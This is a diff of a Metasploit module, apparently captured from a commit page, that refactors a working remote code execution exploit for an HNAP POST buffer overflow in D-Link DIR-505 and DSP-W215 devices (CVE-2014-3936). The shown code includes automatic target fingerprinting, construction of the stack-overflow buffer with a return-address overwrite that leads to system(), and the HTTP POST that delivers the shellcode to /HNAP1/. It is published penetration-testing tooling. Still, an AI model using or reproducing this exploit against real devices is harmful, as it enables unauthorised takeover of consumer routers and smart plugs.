@@ -15,31 +15,31 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'D-Link HNAP Buffer Overflow in POST Request' ,
17
17
'Description' => %q{
18
- This module exploits an anonymous remote code execution vulnerability on different D-Link devices.
19
- This module has been successfully tested on D-Link DIR-505 in an emulated environment.
18
+ This module exploits an anonymous remote code execution vulnerability on different
19
+ D-Link devices. This module has been successfully tested on D-Link DIR-505 in an
20
+ emulated environment.
20
21
} ,
21
22
'Author' =>
22
23
[
23
- 'Craig Heffner' , # vulnerability discovery and initial exploit
24
- 'Michael Messner <devnull[at]s3cur1ty.de>' , # Metasploit module
24
+ 'Craig Heffner' , # vulnerability discovery and initial exploit
25
+ 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
25
26
] ,
26
27
'License' => MSF_LICENSE ,
27
- 'Platform' => [ 'linux' ] ,
28
+ 'Platform' => 'linux' ,
28
29
'Arch' => ARCH_MIPSBE ,
29
30
'References' =>
30
31
[
31
- [ 'CVE' , '2014-3936' ] ,
32
- [ 'BID' , '67651' ] ,
33
- [ 'URL' , 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/' ] , # blog post from Craig including PoC
34
- [ 'URL' , 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029' ]
32
+ [ 'CVE' , '2014-3936' ] ,
33
+ [ 'BID' , '67651' ] ,
34
+ [ 'URL' , 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/' ] , # blog post from Craig including PoC
35
+ [ 'URL' , 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029' ]
35
36
] ,
36
37
'Targets' =>
37
38
[
38
39
#
39
40
# Automatic targeting via fingerprinting
40
41
#
41
42
[ 'Automatic Targeting' , { 'auto' => true } ] ,
42
-
43
43
[ 'D-Link DSP-W215 - v1.0' ,
44
44
{
45
45
'Offset' => 1000000 ,
@@ -60,7 +60,9 @@ def initialize(info = {})
60
60
]
61
61
] ,
62
62
'DisclosureDate' => 'May 15 2014' ,
63
- 'DefaultTarget' => 0 ) )
63
+ 'DefaultTarget' => 0 ) )
64
+
65
+ deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
64
66
end
65
67
66
68
def check
@@ -71,71 +73,38 @@ def check
71
73
} )
72
74
73
75
if res && [ 200 , 301 , 302 ] . include? ( res . code )
74
-
75
- # trying to automatically detect a vulnerable device
76
- if ( target [ 'auto' ] )
77
- if res . body =~ /DIR-505/ && res . body =~ /1.07/
78
-
79
- self . targets . each do |t |
80
- if ( t . name =~ /DIR-505.*1.07/ ) then
81
- @mytarget = t
82
- break
83
- end
84
- end
85
-
86
- elsif res . body =~ /DIR-505/ && res . body =~ /1.06/
87
-
88
- self . targets . each do |t |
89
- if ( t . name =~ /DIR-505.*1.06/ ) then
90
- @mytarget = t
91
- break
92
- end
93
- end
94
-
95
- elsif res . body =~ /DSP-W215/ && res . body =~ /1.00/
96
-
97
- self . targets . each do |t |
98
- if ( t . name =~ /DSP-W215.*1.00/ ) then
99
- @mytarget = t
100
- break
101
- end
102
- end
103
-
104
- else
105
- # no supported device found
106
- return Exploit ::CheckCode ::Unknown
107
- end
108
-
109
- print_status ( "#{ peer } - Selected Target: #{ @mytarget . name } " )
110
- print_good ( "#{ peer } - detected a vulnerable device" )
111
- return Exploit ::CheckCode ::Detected
112
-
113
- # not auto-targetting ... the user is responsible
76
+ if res . body =~ /DIR-505/ && res . body =~ /1.07/
77
+ @my_target = targets [ 3 ] if target [ 'auto' ]
78
+ return Exploit ::CheckCode ::Appears
79
+ elsif res . body =~ /DIR-505/ && res . body =~ /1.06/
80
+ @my_target = targets [ 2 ] if target [ 'auto' ]
81
+ return Exploit ::CheckCode ::Appears
82
+ elsif res . body =~ /DSP-W215/ && res . body =~ /1.00/
83
+ @my_target = targets [ 1 ] if target [ 'auto' ]
84
+ return Exploit ::CheckCode ::Appears
114
85
else
115
- print_good ( "#{ peer } - detected a device with unknown exploitability ... trying to exploit" )
116
86
return Exploit ::CheckCode ::Detected
117
87
end
118
88
end
119
89
rescue ::Rex ::ConnectionError
120
- return Exploit ::CheckCode ::Unknown
90
+ return Exploit ::CheckCode ::Safe
121
91
end
122
92
123
93
Exploit ::CheckCode ::Unknown
124
94
end
125
95
126
- def target
127
- return @mytarget if @mytarget
128
- super
129
- end
130
-
131
96
def exploit
132
97
print_status ( "#{ peer } - Trying to access the vulnerable URL..." )
133
98
134
- # Use a copy of the target
135
- @mytarget = target
99
+ @my_target = target
100
+ check_code = check
101
+
102
+ unless check_code == Exploit ::CheckCode ::Detected || check_code == Exploit ::CheckCode ::Appears
103
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to detect a vulnerable device" )
104
+ end
136
105
137
- unless check == Exploit :: CheckCode :: Detected
138
- fail_with ( Failure ::Unknown , "#{ peer } - Failed to detect a vulnerable device " )
106
+ if @my_target . nil? || @my_target [ 'auto' ]
107
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to auto detect, try setting a manual target... " )
139
108
end
140
109
141
110
print_status ( "#{ peer } - Exploiting ..." )
@@ -146,13 +115,13 @@ def exploit
146
115
end
147
116
148
117
def prepare_shellcode ( cmd )
149
- buf = rand_text_alpha_upper ( @mytarget [ 'Offset' ] ) # Stack filler
118
+ buf = rand_text_alpha_upper ( @my_target [ 'Offset' ] ) # Stack filler
150
119
buf << rand_text_alpha_upper ( 4 ) # $s0, don't care
151
120
buf << rand_text_alpha_upper ( 4 ) # $s1, don't care
152
121
buf << rand_text_alpha_upper ( 4 ) # $s2, don't care
153
122
buf << rand_text_alpha_upper ( 4 ) # $s3, don't care
154
123
buf << rand_text_alpha_upper ( 4 ) # $s4, don't care
155
- buf << @mytarget [ 'Ret' ] # $ra
124
+ buf << @my_target [ 'Ret' ] # $ra
156
125
157
126
# la $t9, system
158
127
# la $s1, 0x440000
@@ -172,7 +141,7 @@ def execute_command(cmd, opts)
172
141
'method' => 'POST' ,
173
142
'uri' => "/HNAP1/" ,
174
143
'encode_params' => false ,
175
- 'data' => shellcode ,
144
+ 'data' => shellcode
176
145
} )
177
146
return res
178
147
rescue ::Rex ::ConnectionError
0 commit comments